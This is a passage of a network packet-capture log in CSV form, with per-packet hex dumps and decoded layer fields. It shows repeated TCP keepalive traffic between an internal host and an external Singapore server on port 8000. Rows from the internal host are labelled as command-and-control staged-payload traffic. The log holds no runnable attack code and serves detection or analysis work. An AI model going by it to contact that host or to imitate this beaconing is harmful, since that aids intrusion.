\"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25622, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:57.856841,965,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637017,bc2411360d0cbc24112907bb08004500003439e140004006f612c0a3a7890a98980b1f40fa6a227ed9144c82bf198010003f0af700000101050a4c82bf184c82bf19,\".$.6\n..$.)....E..49.@.@.......\n....@.j\"\"~..L......?\n......\nL...L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14817, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62994, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637017, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637016, 1283637017))]\"\"}}]\"\n2026-07-01 09:12:58.872443,966,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637016 Ack=578738452,bc24112907bbbc2411360d0c080045000029b177400080063e870a98980bc0a3a789fa6a1f404c82bf18227ed914501020146416000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45431, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16007, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637016, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25622, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:58.872461,967,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637017,bc2411360d0cbc24112907bb08004500003439e240004006f611c0a3a7890a98980b1f40fa6a227ed9144c82bf198010003f0af700000101050a4c82bf184c82bf19,\".$.6\n..$.)....E..49.@.@.......\n....@.j\"\"~..L......?\n......\nL...L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14818, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62993, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637017, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637016, 1283637017))]\"\"}}]\"\n2026-07-01 09:12:59.888134,968,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637016 Ack=578738452,bc24112907bbbc2411360d0c080045000029b178400080063e860a98980bc0a3a789fa6a1f404c82bf18227ed914501020146416000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45432, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16006, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637016, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25622, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:59.888144,969,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637017,bc2411360d0cbc24112907bb08004500003439e340004006f610c0a3a7890a98980b1f40fa6a227ed9144c82bf198010003f0af700000101050a4c82bf184c82bf19,\".$.6\n..$.)....E..49.@.@.......\n....@.j\"\"~..L......?\n......\nL...L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14819, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62992, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637017, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637016, 1283637017))]\"\"}}]\"\n2026-07-01 09:13:00.842928,970,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=1283637017 Ack=578738452,bc24112907bbbc2411360d0c08004500003db179400080063e710a98980bc0a3a789fa6a1f404c82bf19227ed91450182014fe5700001100c0ff1100000001000000789ceb0300008f008f,............x........,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 61, \"\"id\"\": 45433, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15985, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637017, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 65111, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"1100c0ff1100000001000000789ceb0300008f008f\"\"}}]\"\n2026-07-01 09:13:00.842971,971,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637038,bc2411360d0cbc24112907bb08004500002839e440004006f61bc0a3a7890a98980b1f40fa6a227ed9144c82bf2e5010003f0aeb0000,\".$.6\n..$.)....E..(9.@.@.......\n....@.j\"\"~..L...P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 14820, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 63003, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637038, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:13:01.856905,972,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637037 Ack=578738452,bc24112907bbbc2411360d0c080045000029b17a400080063e840a98980bc0a3a789fa6a1f404c82bf2d227ed914501020146401000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45434, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16004, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637037, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25601, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:01.856912,973,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637038,bc2411360d0cbc24112907bb08004500003439e540004006f60ec0a3a7890a98980b1f40fa6a227ed9144c82bf2e8010003f0af700000101050a4c82bf2d4c82bf2e,\".$.6\n..$.)....E..49.@.@.......\n....@.j\"\"~..L......?\n......\nL..-L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14821, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62990, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637038, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637037, 1283637038))]\"\"}}]\"\n2026-07-01 09:13:02.872561,974,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637037 Ack=578738452,bc24112907bbbc2411360d0c080045000029b17b400080063e830a98980bc0a3a789fa6a1f404c82bf2d227ed914501020146401000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45435, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16003, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637037, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25601, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:02.872585,975,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637038,bc2411360d0cbc24112907bb08004500003439e640004006f60dc0a3a7890a98980b1f40fa6a227ed9144c82bf2e8010003f0af700000101050a4c82bf2d4c82bf2e,\".$.6\n..$.)....E..49.@.@..\n....\n....@.j\"\"~..L......?\n......\nL..-L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14822, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62989, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637038, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637037, 1283637038))]\"\"}}]\"\n2026-07-01 09:13:03.888223,976,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637037 Ack=578738452,bc24112907bbbc2411360d0c080045000029b17c400080063e820a98980bc0a3a789fa6a1f404c82bf2d227ed914501020146401000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45436, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16002, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637037, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25601, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:03.888247,977,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637038,bc2411360d0cbc24112907bb08004500003439e740004006f60cc0a3a7890a98980b1f40fa6a227ed9144c82bf2e8010003f0af700000101050a4c82bf2d4c82bf2e,\".$.6\n..$.)....E..49.@.@.......\n....@.j\"\"~..L......?\n......\nL..-L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14823, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62988, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637038, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637037, 1283637038))]\"\"}}]\"\n2026-07-01 09:13:04.888257,978,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637037 Ack=578738452,bc24112907bbbc2411360d0c080045000029b17d400080063e810a98980bc0a3a789fa6a1f404c82bf2d227ed914501020146401000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45437, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16001, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637037, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25601, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:04.888270,979,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637038,bc2411360d0cbc24112907bb08004500003439e840004006f60bc0a3a7890a98980b1f40fa6a227ed9144c82bf2e8010003f0af700000101050a4c82bf2d4c82bf2e,\".$.6\n..$.)....E..49.@.@.......\n....@.j\"\"~..L......?\n......\nL..-L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14824, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62987, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637038, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637037, 1283637038))]\"\"}}]\"\n2026-07-01 09:13:05.888265,980,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637037 Ack=578738452,bc24112907bbbc2411360d0c080045000029b17e400080063e800a98980bc0a3a789fa6a1f404c82bf2d227ed914501020146401000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45438, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16000, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637037, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25601, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:05.888285,981,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637038,bc2411360d0cbc24112907bb08004500003439e940004006f60ac0a3a7890a98980b1f40fa6a227ed9144c82bf2e8010003f0af700000101050a4c82bf2d4c82bf2e,\".$.6\n..$.)....E..49.@.@..\n....\n....@.j\"\"~..L......?\n......\nL..-L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14825, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62986, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": 